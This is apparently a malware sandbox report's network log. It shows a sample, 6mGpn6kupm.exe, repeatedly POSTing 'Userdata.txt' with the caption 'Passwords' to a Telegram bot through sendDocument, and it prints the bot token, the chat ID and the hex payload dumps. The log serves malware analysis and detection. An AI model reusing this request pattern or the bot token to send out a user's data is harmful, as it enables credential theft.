2025-01-10 20:49:54 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 31 66 64 35 61 63 38 33 30 36 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd31fd5ac83069Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:54 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:54 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:54 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 30 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 34 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44709,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542194,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.10	49990	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:55 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3211fa17da55 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:55 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 31 31 66 61 31 37 64 61 35 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3211fa17da55Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:56 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:55 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:56 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44710,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542195,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.10	49992	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:57 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd32268ab0e2a6 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:57 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 32 36 38 61 62 30 65 32 61 36 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd32268ab0e2a6Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:57 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:57 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:57 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 31 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 37 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44711,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542197,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.10	49994	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:49:58 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3239af1dc67c Host: api.telegram.org Content-Length: 1090
2025-01-10 20:49:58 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 33 39 61 66 31 64 63 36 37 63 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3239af1dc67cContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:49:59 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:49:59 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:49:59 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 32 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 31 39 39 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44712,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542199,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.10	49996	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:00 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd324cc6aab803 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:00 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 32 34 63 63 36 61 61 62 38 30 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd324cc6aab803Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:00 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:00 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:00 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 33 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 30 30 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44713,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542200,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.10	49999	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:23 UTC	294	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd3364fb822098 Host: api.telegram.org Content-Length: 1090 Connection: Keep-Alive
2025-01-10 20:50:23 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 36 34 66 62 38 32 32 30 39 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd3364fb822098Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:23 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:23 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:23 UTC	534	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 34 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 32 33 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44714,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542223,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
14	192.168.2.10	50001	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:25 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd337dcb14f585 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:25 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 37 64 63 62 31 34 66 35 38 35 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd337dcb14f585Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:25 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:25 GMT Content-Type: application/json Content-Length: 535 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2025-01-10 20:50:25 UTC	535	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 34 34 37 31 35 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 37 36 36 35 37 34 39 30 35 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 4c 61 76 69 64 61 4c 6f 6b 61 5f 42 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 32 30 36 35 32 34 32 39 31 35 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 43 6f 64 65 64 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 63 5f 64 65 64 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 64 61 74 65 22 3a 31 37 33 36 35 34 32 32 32 35 2c 22 64 6f 63 75 6d 65 6e 74 22 3a 7b 22 66 69 6c 65 5f 6e 61 6d 65 22 3a 22 55 Data Ascii: {"ok":true,"result":{"message_id":44715,"from":{"id":7766574905,"is_bot":true,"first_name":"Lavida","username":"LavidaLoka_Bot"},"chat":{"id":2065242915,"first_name":"Coded","username":"c_ded","type":"private"},"date":1736542225,"document":{"file_name":"U

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
15	192.168.2.10	50003	149.154.167.220	443	3144	C:\Users\user\Desktop\6mGpn6kupm.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-10 20:50:27 UTC	270	OUT	POST /bot7766574905:AAGkK12NqfgMWNTsNJqrFtr2J3oH0W_DuqA/sendDocument?chat_id=2065242915&caption=user%20/%20Passwords%20/%208.46.123.189 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd33953cf57d39 Host: api.telegram.org Content-Length: 1090
2025-01-10 20:50:27 UTC	1090	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 33 33 39 35 33 63 66 35 37 64 33 39 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd33953cf57d39Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2025-01-10 20:50:27 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Fri, 10 Jan 2025 20:50:27 GMT Content-Type: application/json Content-Length: 534 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
